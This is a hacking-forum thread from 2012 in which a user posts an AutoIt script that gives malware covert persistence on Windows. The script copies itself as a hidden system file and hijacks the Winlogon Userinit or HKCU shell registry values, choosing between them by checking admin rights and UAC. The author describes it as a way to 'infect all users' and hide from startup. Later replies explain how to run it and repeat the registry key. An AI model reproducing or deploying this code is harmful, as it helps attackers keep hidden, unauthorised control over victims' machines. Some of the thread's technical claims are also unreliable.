+- Sinisterly (https://sinister.ly)
+-- Forum: Coding (https://sinister.ly/Forum-Coding)
+--- Forum: Coding (https://sinister.ly/Forum-Coding--71)
+--- Thread: Advanced startup method - the real way (/Thread-Advanced-startup-method-the-real-way)
Pages:
1
2
Advanced startup method - the real way - spymare - 09-21-2012
This method checks if the user is admin or not, if the user is admin, it will use "Userinit" it will be runned for all users, before doing that It will also check if UAC is enabled, if it is, it will use the reg key in HKCU called shell, that does not require admin rights.
So basicly this will infect all users if the user is admin, and if not the user is admin, it will infect the current user, this way it will also hide from startup. It's a quite unique startup method, Tested in windows xp and windows 7 x64, so it works on all the systems.
Code:
MsgBox(4096, "", "startup message.")
$oWMIService = ObjGet("winmgmts:\\" & @ComputerName & "\root\cimv2")
$colItems = $oWMIService.ExecQuery("Select * From Win32_Group Where LocalAccount = TRUE And SID = 'S-1-5-32-544'")
For $oItem in $colItems
Next
if $oItem.Name = "administrators" Then
Call("admin")
Else
call("notadmin")
EndIf
Func admin()
$hklm = FileExists(@HomeDrive & "\file.exe")
$hkcu = FileExists(@UserProfileDir & "\file.exe")
If $hklm Or $hkcu Then
Return
Else
EndIf
Local $var = RegRead("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA")
$data = BinaryToString($var, 2)
RegRead("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA")
If @error Then
RegWrite("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Userinit", "REG_SZ", @WindowsDir & "\system32\Userinit.exe," & @HomeDrive & "\file.exe") ;for 64 bit ; if reg not found
FileCopy(@ScriptFullPath, @HomeDrive & "\file.exe")
FileSetAttrib(@HomeDrive & "\" & "file.exe", "+SH")
ElseIf $data > '0' Then ;If UAC is enabled
RegWrite("HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "shell", "REG_SZ", @UserProfileDir & "\file.exe" & ",explorer.exe")
FileCopy(@ScriptFullPath, @UserProfileDir & "\file.exe")
FileSetAttrib(@UserProfileDir & "\" & "file.exe", "+SH")
ElseIf $data < '0' Then ;If UAC is disabled
RegWrite("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Userinit", "REG_SZ", @WindowsDir & "\system32\Userinit.exe," & @HomeDrive & "\file.exe") ;for 64 bit ; if reg not found
FileCopy(@ScriptFullPath, @HomeDrive & "\file.exe")
FileSetAttrib(@HomeDrive & "\" & "file.exe", "+SH")
EndIf
EndFunc ;==>admin
Func notadmin()
$hklm = FileExists(@HomeDrive & "\file.exe")
$hkcu = FileExists(@UserProfileDir & "\file.exe")
If $hklm Or $hkcu Then
Return
Else
FileCopy(@ScriptFullPath, @UserProfileDir & "\file.exe")
FileSetAttrib(@UserProfileDir & "\" & "file.exe", "+SH")
RegWrite("HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "shell", "REG_SZ", @UserProfileDir & "\file.exe" & ",explorer.exe")
EndIf
EndFunc ;==>notadminRE: Advanced startup method - the real way - 1234hotmaster - 09-21-2012
Did this need a new thread? XD
RE: Advanced startup method - the real way - spymare - 09-21-2012
yup
the other one was messy, this is tested alot of times, and works like it should 
RE: Advanced startup method - the real way - Jacob - 09-21-2012
Where is the format?! Make this prettier -.-
Also, don't Call() functions, just run them.
instead of
Call("_ButtFcukMcGee")
Do this
_ButtFcukMcGee()
RE: Advanced startup method - the real way - spymare - 09-22-2012
you can just use "tidy" if you want format. and you have to call the function using call.
RE: Advanced startup method - the real way - elipsses12 - 09-22-2012
may i ask how to save it and run it??? thank you newbie here
RE: Advanced startup method - the real way - spymare - 09-22-2012
download and install autoit.
right click on you desktop and make a new autoit script, copy & past the code, and run the script.
the script is actually very basic, but you should understand what it does, before using it
autoit can be downloaded here: http://www.autoitscript.com/site/autoit/downloads/
RE: Advanced startup method - the real way - killerOfCode - 09-23-2012
Hm, interesting script...
How does it spread to admins if current user is not an admin?
RE: Advanced startup method - the real way - spymare - 09-23-2012
RegWrite("HKLM64\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "Userinit", "REG_SZ", @WindowsDir & "\system32\Userinit.exe," & @HomeDrive & "\file.exe")
if the user is not admin, it will use the above key, and it will put the file in %homedrive% instead of %userprofiledir%, and by that, any account will run the file, even you create a new account.
RE: Advanced startup method - the real way - Jacob - 09-25-2012
(09-22-2012, 07:22 AM)spymare Wrote: you have to call the function using call.
nonono.
I've made several things in au3, and never use system calls like that. Calling the function with proper parameters will be sufficient and be less trenious on the system.